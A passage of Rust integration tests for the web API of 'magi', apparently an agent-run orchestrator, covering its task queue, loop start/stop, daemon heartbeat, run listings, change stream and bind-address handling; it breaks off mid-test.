5265        let created_at = task.created_at;
5266
5267        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5268        assert_eq!(done.status, 200, "{}", done.body);
5269        assert_eq!(done.json()["status_str"], "done");
5270
5271        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5272        assert_eq!(
5273            reloaded.runs,
5274            ["20260101-000000-b455", "20260101-000000-9af4"]
5275        );
5276        assert_eq!(
5277            reloaded.source,
5278            Source::Agent {
5279                run: "20260101-000000-b455".to_owned(),
5280                node: "implement".to_owned(),
5281            }
5282        );
5283        assert_eq!(reloaded.created_at, created_at);
5284    }
5285
5286    #[tokio::test]
5287    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5288        // `done` is allowed on any status, including `held`, with no release
5289        // in between - so a task held for a reason and then closed directly
5290        // must not keep reading as "waiting on" it afterwards, on its card or
5291        // in `magi task show`.
5292        let f = Fixture::start().await;
5293        let queue = f.queue();
5294        let mut task = Task::new(
5295            "landed while held".to_owned(),
5296            "x".to_owned(),
5297            PathBuf::from("/repo/magi"),
5298            Source::Human,
5299        );
5300        task.hold(Some("waiting on 3ed9".to_owned()));
5301        queue.put(&mut task).expect("file the held task");
5302
5303        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5304        assert_eq!(done.status, 200, "{}", done.body);
5305        assert_eq!(done.json()["status_str"], "done");
5306        assert!(
5307            done.json()["hold_reason"].is_null(),
5308            "a done task cannot still be waiting on something: {}",
5309            done.body
5310        );
5311    }
5312
5313    #[tokio::test]
5314    async fn unknown_ids_are_json_not_found_on_both_stores() {
5315        let f = Fixture::start().await;
5316
5317        let run = f.get("/api/runs/nosuchrun").await;
5318        let task = f.post("/api/queue/nosuchtask/hold", None).await;
5319
5320        assert_eq!(run.status, 404);
5321        assert_eq!(task.status, 404);
5322        assert!(
5323            run.json()["error"]
5324                .as_str()
5325                .is_some_and(|e| e.contains("run")),
5326            "the error names what was not found: {}",
5327            run.body
5328        );
5329        assert!(
5330            task.json()["error"]
5331                .as_str()
5332                .is_some_and(|e| e.contains("task")),
5333            "the error names what was not found: {}",
5334            task.body
5335        );
5336    }
5337
5338    #[tokio::test]
5339    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
5340        let f = Fixture::start().await;
5341
5342        let missing = f.get("/api/health").await.json();
5343        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
5344
5345        write_daemon(
5346            f.home.path(),
5347            Timestamp::now() - jiff::SignedDuration::from_secs(60),
5348        );
5349        let stale = f.get("/api/health").await.json();
5350        assert_eq!(
5351            stale["daemon"]["running"], false,
5352            "a minute without a heartbeat is a dead daemon, not a busy one"
5353        );
5354        assert!(
5355            stale["daemon"]["stale_for_secs"]
5356                .as_i64()
5357                .is_some_and(|s| s >= 55),
5358            "staleness is reported so the UI can say how long: {stale}"
5359        );
5360
5361        write_daemon(f.home.path(), Timestamp::now());
5362        let fresh = f.get("/api/health").await.json();
5363        assert_eq!(fresh["daemon"]["running"], true);
5364        assert_eq!(fresh["daemon"]["idle"], false);
5365        assert_eq!(fresh["daemon"]["pid"], 4242);
5366        assert_eq!(fresh["daemon"]["completed"], 7);
5367        assert_eq!(
5368            fresh["daemon"]["current"][0]["task"],
5369            "20260902-140501-aaaa"
5370        );
5371        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
5372    }
5373
5374    #[tokio::test]
5375    async fn the_loop_is_not_running_until_something_starts_it() {
5376        let f = Fixture::start().await;
5377
5378        let view = f.get("/api/loop").await.json();
5379        assert_eq!(view["running"], false);
5380        assert_eq!(
5381            view["owned"], false,
5382            "nobody owns a loop that does not exist: {view}"
5383        );
5384        assert_eq!(view["stopping"], false);
5385        assert_eq!(view["last_error"], Value::Null);
5386        assert_eq!(view["daemon"]["running"], false);
5387        assert_eq!(
5388            view["repo"], "/repo/magi",
5389            "the repository a start would use, named before it is started"
5390        );
5391    }
5392
5393    #[tokio::test]
5394    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
5395        let f = Fixture::start().await;
5396
5397        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5398        assert_eq!(res.status, 200, "{}", res.body);
5399        let view = res.json();
5400        assert_eq!(view["running"], true);
5401        assert_eq!(
5402            view["owned"], true,
5403            "the loop the UI started is the UI's own to stop: {view}"
5404        );
5405        assert_eq!(
5406            view["merge"],
5407            Value::Null,
5408            "no override was given, so each repository's own config decides"
5409        );
5410
5411        // The same object from the route a waking phone polls first. Two
5412        // surfaces disagreeing about whether anything is running is exactly
5413        // the confusion this UI exists to remove.
5414        let health = f.get("/api/health").await.json();
5415        assert_eq!(health["loop"]["running"], true, "{health}");
5416        assert_eq!(health["loop"]["owned"], true, "{health}");
5417
5418        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5419    }
5420
5421    #[tokio::test]
5422    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
5423        let f = Fixture::start().await;
5424        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5425        assert_eq!(first.status, 200, "{}", first.body);
5426
5427        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5428        assert_eq!(
5429            again.status, 409,
5430            "two loops on one queue race for the same claims: {}",
5431            again.body
5432        );
5433        assert!(
5434            again.json()["error"]
5435                .as_str()
5436                .is_some_and(|e| e.contains("already running the loop")),
5437            "the refusal has to say why: {}",
5438            again.body
5439        );
5440        assert_eq!(
5441            f.get("/api/loop").await.json()["running"],
5442            true,
5443            "and the loop that was already running is untouched by it"
5444        );
5445
5446        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5447    }
5448
5449    #[tokio::test]
5450    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
5451        let f = Fixture::start().await;
5452        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5453
5454        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5455        assert_eq!(
5456            res.status, 200,
5457            "the answer must not wait for the loop: a run in flight is tens of \
5458             minutes and the operator is holding a phone: {}",
5459            res.body
5460        );
5461
5462        let view = settled(&f, |v| v["running"] == false).await;
5463        assert_eq!(view["owned"], false);
5464        assert_eq!(
5465            view["stopping"], false,
5466            "a loop that has stopped is not still stopping: {view}"
5467        );
5468        assert_eq!(
5469            view["last_error"],
5470            Value::Null,
5471            "a loop that was asked to stop did not fail: {view}"
5472        );
5473
5474        // Idempotent, because the operator cannot tell a slow stop from a lost
5475        // one and will press it again.
5476        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5477        assert_eq!(twice.status, 200, "{}", twice.body);
5478    }
5479
5480    #[tokio::test]
5481    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
5482        let f = Fixture::start().await;
5483        // How the operator has been doing it: a `magi serve` of their own,
5484        // heartbeat fresh, in the same home this UI reads.
5485        write_daemon(f.home.path(), Timestamp::now());
5486
5487        let view = f.get("/api/loop").await.json();
5488        assert_eq!(view["running"], false, "not in this process: {view}");
5489        assert_eq!(view["owned"], false, "and not this process's to control");
5490        assert_eq!(
5491            view["daemon"]["running"], true,
5492            "but a loop is alive somewhere, which is what the UI must say"
5493        );
5494        assert_eq!(view["daemon"]["pid"], 4242);
5495
5496        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
5497            let res = f.post("/api/loop", Some(body)).await;
5498            assert_eq!(
5499                res.status, 409,
5500                "neither button may pretend to work on someone else's loop: {}",
5501                res.body
5502            );
5503            assert!(
5504                res.json()["error"]
5505                    .as_str()
5506                    .is_some_and(|e| e.contains("4242")),
5507                "the refusal has to name the process the operator must go to: {}",
5508                res.body
5509            );
5510        }
5511        assert_eq!(
5512            f.get("/api/loop").await.json()["running"],
5513            false,
5514            "and the refusal started nothing"
5515        );
5516    }
5517
5518    #[tokio::test]
5519    async fn a_stale_status_file_is_not_a_foreign_owner() {
5520        let f = Fixture::start().await;
5521        write_daemon(
5522            f.home.path(),
5523            Timestamp::now() - jiff::SignedDuration::from_secs(60),
5524        );
5525
5526        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5527        assert_eq!(
5528            res.status, 200,
5529            "a daemon killed a minute ago must not lock the loop out of its \
5530             own home for good: {}",
5531            res.body
5532        );
5533        assert_eq!(res.json()["running"], true);
5534
5535        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5536    }
5537
5538    #[tokio::test]
5539    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
5540        let f = Fixture::start().await;
5541        let before = f.get("/api/health").await.json()["loop_rev"]
5542            .as_u64()
5543            .expect("a loop revision");
5544
5545        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5546
5547        let after = f.get("/api/health").await.json()["loop_rev"]
5548            .as_u64()
5549            .expect("a loop revision");
5550        assert!(
5551            after > before,
5552            "the loop is in-process state, so this counter is the only thing \
5553             that tells a second device the first one started it: {before} -> \
5554             {after}"
5555        );
5556
5557        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5558    }
5559
5560    #[tokio::test]
5561    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
5562        let f = Fixture::with_loop(launch_broken).await;
5563
5564        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5565        assert_eq!(
5566            res.status, 200,
5567            "starting it is not the failure: {}",
5568            res.body
5569        );
5570
5571        let view = settled(&f, |v| v["last_error"].is_string()).await;
5572        assert_eq!(
5573            view["running"], false,
5574            "a loop that died must not read as running, or the operator has \
5575             nothing to press: {view}"
5576        );
5577        assert_eq!(view["owned"], false);
5578        assert!(
5579            view["last_error"]
5580                .as_str()
5581                .is_some_and(|e| e.contains("read-only file system")),
5582            "the phone is where a loop that died at 3am is visible: {view}"
5583        );
5584
5585        // And it can be started again: the corpse was reaped, not left to
5586        // occupy the slot.
5587        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5588        assert_eq!(again.status, 200, "{}", again.body);
5589        assert_eq!(
5590            again.json()["last_error"],
5591            Value::Null,
5592            "a fresh start does not keep showing why the last one died"
5593        );
5594    }
5595
5596    /// An upgrade parks the run in flight before it restarts, and a park waits
5597    /// for the node - up to `timeout_implement`, an hour by default. The deck
5598    /// has to answer for all of it: the operator has just been told a run is
5599    /// finishing first, and this address is the only place that says how it is
5600    /// going. It did not, once - the listener went with the `select!` arm that
5601    /// began the handover, and the phone got `Cannot reach magi: Failed to
5602    /// fetch` for the rest of the wave.
5603    ///
5604    /// The other half is the older rule: the address must be free *before* the
5605    /// successor is started, or it dies on "address already in use" with its
5606    /// stdio sent to null and the deck never comes back.
5607    #[tokio::test]
5608    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
5609        let home = TempDir::new().expect("temp home");
5610        let runs = home.path().join("runs");
5611        std::fs::create_dir_all(&runs).expect("runs dir");
5612        let ui = Ui::new(
5613            Queue::at(home.path().join("queue")),
5614            Questions::at(home.path().join("questions")),
5615            Talks::at(home.path().join("talks")),
5616            runs,
5617            home.path().to_path_buf(),
5618            PathBuf::from("/repo/magi"),
5619        )
5620        .with_worktrees_root(home.path().join("wt"))
5621        .with_launch(launch_knocking_on_the_way_out);
5622        let looping = ui.looping();
5623        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5624            .await
5625            .expect("bind loopback");
5626        let addr = listener.local_addr().expect("local addr");
5627        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
5628        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
5629
5630        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
5631        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
5632
5633        // The successor's whole job, and the one thing it cannot do while this
5634        // process still holds the socket.
5635        let bound = std::sync::Mutex::new(None);
5636        hand_over(home.path(), &looping, served, || {
5637            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
5638            *bound.lock().expect("bound") = Some(attempt);
5639            Ok(())
5640        })
5641        .await
5642        .expect("hand over");
5643
5644        assert_eq!(
5645            *PARK_HEARD.lock().expect("park heard"),
5646            Some(200),
5647            "the deck must answer while the loop is parking"
5648        );
5649        let attempt = bound
5650            .lock()
5651            .expect("bound")
5652            .take()
5653            .expect("the successor was started");
5654        assert!(
5655            attempt.is_ok(),
5656            "and the address must be free by the time it is: {attempt:?}"
5657        );
5658    }
5659
5660    #[tokio::test]
5661    async fn a_newer_daemon_status_file_still_renders() {
5662        let f = Fixture::start().await;
5663        // A field this build has never heard of must not turn the status line
5664        // into a 500; that is the whole reason the reader is permissive.
5665        std::fs::write(
5666            f.home.path().join("daemon.json"),
5667            serde_json::json!({
5668                "schema": 2,
5669                "updated_at": Timestamp::now().to_string(),
5670                "idle": true,
5671                "surprise": { "nested": [1, 2, 3] },
5672            })
5673            .to_string(),
5674        )
5675        .expect("write daemon.json");
5676
5677        let health = f.get("/api/health").await;
5678
5679        assert_eq!(health.status, 200);
5680        assert_eq!(health.json()["daemon"]["running"], true);
5681    }
5682
5683    #[tokio::test]
5684    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
5685        let f = Fixture::start().await;
5686        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
5687        let broken = f.runs().join("20260902-140502-bad");
5688        std::fs::create_dir_all(&broken).expect("run dir");
5689        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
5690
5691        let list = f.get("/api/runs").await;
5692        let detail = f.get("/api/runs/20260902-140502-bad").await;
5693
5694        assert_eq!(list.status, 200);
5695        let listed = list.json();
5696        let ids: Vec<&str> = listed
5697            .as_array()
5698            .expect("an array")
5699            .iter()
5700            .map(|r| r["id"].as_str().expect("an id"))
5701            .collect();
5702        assert_eq!(
5703            ids,
5704            vec!["20260902-140501-good"],
5705            "one unreadable run must not cost the operator the whole history"
5706        );
5707        assert_eq!(detail.status, 500);
5708        assert!(
5709            detail.json()["error"]
5710                .as_str()
5711                .is_some_and(|e| e.contains("run.json")),
5712            "the failure names the file to look at: {}",
5713            detail.body
5714        );
5715        // A skipped run has to be countable somewhere, or the UI shows an
5716        // empty history with nothing to explain it - which is exactly what a
5717        // directory full of older-schema runs looks like.
5718        let health = f.get("/api/health").await;
5719        assert_eq!(health.json()["runs_unreadable"], 1);
5720    }
5721
5722    #[tokio::test]
5723    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
5724        let f = Fixture::start().await;
5725        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
5726
5727        let summary = f.get("/api/runs").await.json();
5728        let row = &summary[0];
5729        assert_eq!(row["short"], "a1b2");
5730        assert_eq!(row["status"], "ready");
5731        assert_eq!(row["done"], true);
5732        assert_eq!(row["title"], "Add a web UI");
5733        assert_eq!(row["repo_name"], "magi");
5734        assert_eq!(row["judges"], 3);
5735        assert_eq!(row["winner"], Value::Null);
5736        assert_eq!(row["reviews"], 0);
5737
5738        // The short id resolves, and the detail route is the state itself, not
5739        // a projection of it: the UI reads fields the summary does not carry.
5740        let detail = f.get("/api/runs/a1b2").await;
5741        assert_eq!(detail.status, 200);
5742        assert_eq!(detail.json()["base_branch"], "main");
5743        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
5744    }
5745
5746    /// `RunState::active` is only ever cleared by whoever populated it, so the
5747    /// detail route also has to say whether a daemon is actually still
5748    /// driving this run right now — otherwise a seat from a killed process's
5749    /// last wave would read as live forever.
5750    #[tokio::test]
5751    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
5752        let f = Fixture::start().await;
5753        // Matches `write_daemon`'s hard-coded `current.run`, so the second
5754        // half of this test can claim the daemon is working on it without a
5755        // second helper.
5756        let id = "20260902-140502-bbbb";
5757        let mut state = RunState::new(
5758            PathBuf::from("/repo/magi"),
5759            "main".to_owned(),
5760            "0123456789abcdef".to_owned(),
5761            "Add a web UI".to_owned(),
5762            Config::default(),
5763        );
5764        state.id = id.to_owned();
5765        state.status = RunStatus::Judging;
5766        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
5767        let dir = f.runs().join(id);
5768        std::fs::create_dir_all(&dir).expect("run dir");
5769        std::fs::write(
5770            dir.join("run.json"),
5771            serde_json::to_string_pretty(&state).expect("serialize run"),
5772        )
5773        .expect("write run.json");
5774
5775        // No daemon.json at all: the entry cannot be told from a leftover, so
5776        // the route must say so rather than let the phone assume it is live.
5777        let cold = f.get(&format!("/api/runs/{id}")).await.json();
5778        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
5779        assert_eq!(cold["live"], false, "{cold}");
5780
5781        // A fresh heartbeat naming exactly this run: the same entry now reads
5782        // as confirmed, not merely recorded.
5783        write_daemon(f.home.path(), Timestamp::now());
5784        let warm = f.get(&format!("/api/runs/{id}")).await.json();
5785        assert_eq!(warm["live"], true, "{warm}");
5786    }
5787
5788    #[tokio::test]
5789    async fn the_run_list_is_newest_first_and_honours_a_limit() {
5790        let f = Fixture::start().await;
5791        for id in [
5792            "20260902-140501-aaaa",
5793            "20260902-140502-bbbb",
5794            "20260902-140503-cccc",
5795        ] {
5796            write_run(&f.runs(), id, RunStatus::Merged);
5797        }
5798
5799        let all = f.get("/api/runs").await.json();
5800        let capped = f.get("/api/runs?limit=2").await.json();
5801
5802        assert_eq!(all[0]["id"], "20260902-140503-cccc");
5803        assert_eq!(all.as_array().map(Vec::len), Some(3));
5804        assert_eq!(capped.as_array().map(Vec::len), Some(2));
5805        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
5806    }
5807
5808    #[tokio::test]
5809    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5810        let f = Fixture::start().await;
5811        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5812
5813        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5814
5815        assert_eq!(res.status, 200);
5816        assert!(
5817            res.headers
5818                .contains("content-type: text/plain; charset=utf-8"),
5819            "a browser must render it, not download it: {}",
5820            res.headers
5821        );
5822        // The assertion is on content, not on the absence of escapes: colour
5823        // is a process-global that `serve` turns off at startup, and another
5824        // test in this binary may own it while this one runs.
5825        assert!(
5826            res.body.contains("20260902-140501-a1b2"),
5827            "the report is about the run that was asked for: {}",
5828            res.body
5829        );
5830    }
5831
5832    #[tokio::test]
5833    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5834        let f = Fixture::start().await;
5835
5836        let html = f.get("/").await;
5837        let css = f.get("/app.css").await;
5838        let js = f.get("/app.js").await;
5839
5840        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5841        assert!(
5842            html.headers
5843                .contains("content-type: text/html; charset=utf-8")
5844        );
5845        assert!(css.headers.contains("content-type: text/css"));
5846        assert!(js.headers.contains("content-type: text/javascript"));
5847        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5848    }
5849
5850    #[test]
5851    fn review_rounds_label_a_distinct_verified_head() {
5852        assert!(APP_JS.contains("round.verified_head"));
5853        assert!(APP_JS.contains("verified HEAD"));
5854        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
5855    }
5856
5857    #[tokio::test]
5858    async fn the_change_stream_announces_the_current_revisions_on_connect() {
5859        let f = Fixture::start().await;
5860
5861        let mut socket = tokio::net::TcpStream::connect(f.addr)
5862            .await
5863            .expect("connect");
5864        socket
5865            .write_all(
5866                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5867            )
5868            .await
5869            .expect("write request");
5870
5871        // Read until the first event arrives rather than to end of stream: the
5872        // stream is endless by design, which is the point of the route.
5873        let mut seen = String::new();
5874        let mut buf = [0u8; 1024];
5875        while !seen.contains("event: change") {
5876            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5877                .await
5878                .expect("the stream must speak within five seconds")
5879                .expect("read");
5880            assert!(read > 0, "the server closed the change stream: {seen}");
5881            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5882        }
5883
5884        assert!(
5885            seen.to_lowercase()
5886                .contains("content-type: text/event-stream"),
5887            "the browser only reconnects automatically for a real SSE stream: {seen}"
5888        );
5889        let data = seen
5890            .lines()
5891            .find_map(|l| l.strip_prefix("data:"))
5892            .expect("a data line");
5893        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5894        assert!(
5895            payload["queue_rev"].is_u64()
5896                && payload["runs_rev"].is_u64()
5897                && payload["questions_rev"].is_u64()
5898                && payload["talks_rev"].is_u64()
5899                && payload["loop_rev"].is_u64(),
5900            "the client needs one revision per store to know what to refetch, \
5901             and `talks_rev` is the only notification a standing talk gets - a \
5902             phone whose radio slept through a turn learns about it here, as \
5903             does one whose operator started the loop from another device: \
5904             {payload}"
5905        );
5906
5907        // The front end re-polls health on a timer and on wake, and takes the
5908        // revisions from that answer whenever the stream is not up. So health
5909        // has to carry every key the stream carries: a phone on a link that
5910        // will not hold an SSE connection is exactly the phone that must still
5911        // notice a question, and a missing key there is not a 500 but a UI
5912        // that quietly stops updating.
5913        let health = f.get("/api/health").await.json();
5914        for key in [
5915            "queue_rev",
5916            "runs_rev",
5917            "questions_rev",
5918            "talks_rev",
5919            "loop_rev",
5920        ] {
5921            assert!(
5922                health[key].is_u64(),
5923                "health is the change stream's fallback and is missing `{key}`: {health}"
5924            );
5925        }
5926    }
5927
5928    #[tokio::test]
5929    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5930        let f = Fixture::start().await;
5931        let before = f.get("/api/health").await.json()["talks_rev"]
5932            .as_u64()
5933            .expect("talks_rev");
5934
5935        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5936        std::thread::sleep(Duration::from_millis(10));
5937        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5938        on_disk.turns.push(crate::talk::Turn {
5939            who: crate::talk::Who::Operator,
5940            body: "a new turn".to_owned(),
5941            at: Timestamp::now(),
5942            attachments: Vec::new(),
5943        });
5944        f.talks().put(&mut on_disk).expect("record a turn");
5945
5946        let after = f.get("/api/health").await.json()["talks_rev"]
5947            .as_u64()
5948            .expect("talks_rev");
5949        assert_ne!(
5950            before, after,
5951            "a phone must be able to notice a talk's reply without polling every store"
5952        );
5953    }
5954
5955    #[test]
5956    fn bind_reads_back_from_the_spelling_the_cli_prints() {
5957        // The CLI shows the default in `--help` and parses whatever comes
5958        // back, so the two directions have to agree or `--bind auto` breaks
5959        // the moment someone copies the help text.
5960        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5961            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5962        }
5963        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5964        assert!("everywhere".parse::<Bind>().is_err());
5965    }
5966
5967    #[test]
5968    fn an_explicit_bind_address_is_taken_verbatim() {
5969        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5970
5971        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5972
5973        assert_eq!(addr, asked);
5974        assert!(
5975            warning.is_none(),
5976            "an operator who named an address gets no lecture"
5977        );
5978    }
5979
5980    #[test]
5981    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5982        let (addr, warning) = resolve_bind(&Bind::Auto);
5983
5984        // This has to hold on a CI runner with no `tailscale` and on a dev box
5985        // with one, so the invariant asserted is the one shared by both
5986        // outcomes: the address is either a real tailnet address offered
5987        // without comment, or loopback with an explanation. What must never
5988        // happen is a silent fallback - an operator told "listening on
5989        // 127.0.0.1" with no reason would go looking for a firewall.
5990        match addr {
5991            IpAddr::V4(ip) if is_tailnet(&ip) => {
5992                assert!(warning.is_none(), "a tailnet address needs no warning");
5993            }
5994            other => {
5995                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5996                let warning = warning.expect("a fallback has to explain itself");
5997                assert!(
5998                    warning.contains("127.0.0.1") && warning.contains("local-only"),
5999                    "the warning says what happened and what it costs: {warning}"
6000                );
6001            }
6002        }
6003    }
6004
6005    #[test]
6006    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6007        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
6008        // boundary cases are what stop us binding to some other tool's idea of
6009        // an address.
6010        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6011        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6012        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6013        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6014        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6015    }
6016
6017    #[test]
6018    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6019        let ids = vec![
6020            "20260902-140501-aaaa".to_owned(),
6021            "20260902-140502-aabb".to_owned(),
6022        ];
6023
6024        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6025        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6026        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6027
6028        assert_eq!(missing.status, StatusCode::NOT_FOUND);
6029        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6030        assert_eq!(short, "20260902-140502-aabb");
6031    }
6032    #[tokio::test]
6033    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6034        // The prompt tells agents to reference attachments by bare filename.
6035        // A document served at `.../panel` resolves `shot.png` against its own
6036        // directory, i.e. `.../shot.png`, which is not the asset route - so a
6037        // panel written exactly as instructed showed broken images. Caught by
6038        // looking at a real one in a browser, not by reading the code.
6039        let fx = Fixture::start().await;
6040        let id = panel(
6041            &fx,
6042            "<img src=\"shot.png\">",
6043            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6044        );
6045
6046        // The frame's own URL ends in a filename, so its siblings are reachable.
6047        let doc = fx
6048            .get(&format!("/api/questions/{id}/panel/index.html"))
6049            .await;
6050        assert_eq!(doc.status, 200, "{}", doc.body);
6051        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6052
6053        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6054        assert_eq!(sibling.status, 200, "{}", sibling.body);
6055        assert_eq!(sibling.header("content-type"), Some("image/png"));
6056        assert_eq!(
6057            sibling.header("content-security-policy"),
6058            Some(PANEL_CSP),
6059            "the sibling route must carry the same policy as the asset route"
6060        );
6061
6062        // The original spelling keeps working: HEAD on it is how the front end
6063        // decides whether to mount a frame at all.
6064        assert_eq!(
6065            fx.head(&format!("/api/questions/{id}/panel")).await.status,
6066            200
6067        );
6068    }
6069
6070    #[test]
6071    fn runs_revision_moves_when_deleting_an_older_run() {
6072        let temp = TempDir::new().expect("tempdir");
6073        let runs = temp.path().join("runs");
6074        std::fs::create_dir_all(&runs).expect("create runs dir");
6075
6076        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6077
6078        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6079        std::thread::sleep(Duration::from_millis(10));
6080        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6081
6082        let rev_before = runs_revision(&runs);
6083        assert!(rev_before > 0);
6084
6085        let old_dir = runs.join("20260901-100000-old1");
6086        std::fs::remove_dir_all(&old_dir).expect("remove old run");
6087
6088        let rev_after = runs_revision(&runs);
6089        assert_ne!(
6090            rev_before, rev_after,
6091            "deleting an older run must change the revision so other clients see the deletion"
6092        );
6093    }
6094
6095    /// A run's own `run.json` on an explicit `runs` root, bypassing the
6096    /// process-global home entirely — `RunState::save` writes through
6097    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
6098    /// (see `tests::home_lock` in the integration suite for why).
6099    fn write_state(runs: &FsPath, state: &RunState) {
6100        let dir = runs.join(&state.id);
6101        std::fs::create_dir_all(&dir).expect("run dir");
6102        std::fs::write(
6103            dir.join("run.json"),
6104            serde_json::to_string_pretty(state).expect("serialize run"),
6105        )
6106        .expect("write run.json");
6107    }
6108
6109    /// A seat starting or finishing is a write to `run.json` like any other,
6110    /// so it moves the same revision the change stream already watches —
6111    /// nothing new for `/api/events` to learn, but the property this feature
6112    /// depends on to reach the phone without a poll.
6113    #[test]
6114    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6115        let temp = TempDir::new().expect("tempdir");
6116        let runs = temp.path().join("runs");
6117        std::fs::create_dir_all(&runs).expect("create runs dir");
6118        let mut state = RunState::new(
6119            PathBuf::from("/repo/magi"),
6120            "main".to_owned(),
6121            "0123456789abcdef".to_owned(),
6122            "task".to_owned(),
6123            Config::default(),
6124        );
6125        state.id = "20260902-100000-c0de".to_owned();
6126        write_state(&runs, &state);
6127
6128        let rev_idle = runs_revision(&runs);
6129        std::thread::sleep(Duration::from_millis(10));
6130        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6131        write_state(&runs, &state);
6132        let rev_started = runs_revision(&runs);
6133        assert_ne!(
6134            rev_idle, rev_started,
6135            "a seat starting must move the revision"
6136        );
6137
6138        std::thread::sleep(Duration::from_millis(10));
6139        state.seat_finished("judge-1");
6140        write_state(&runs, &state);
6141        let rev_finished = runs_revision(&runs);
6142        assert_ne!(
6143            rev_started, rev_finished,
6144            "and clearing it again must move the revision a second time"
6145        );
6146    }
6147
6148    #[tokio::test]
6149    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6150        let fx = Fixture::start().await;
6151        let q = fx.queue();
6152
6153        // 1. A queued task with runs attached can be deleted.
6154        let mut t1 = Task::new(
6155            "Task 1".to_owned(),
6156            "Instruction 1".to_owned(),
6157            PathBuf::from("/repo"),
6158            Source::Human,
6159        );
6160        let run_id = "20260901-000000-r111";
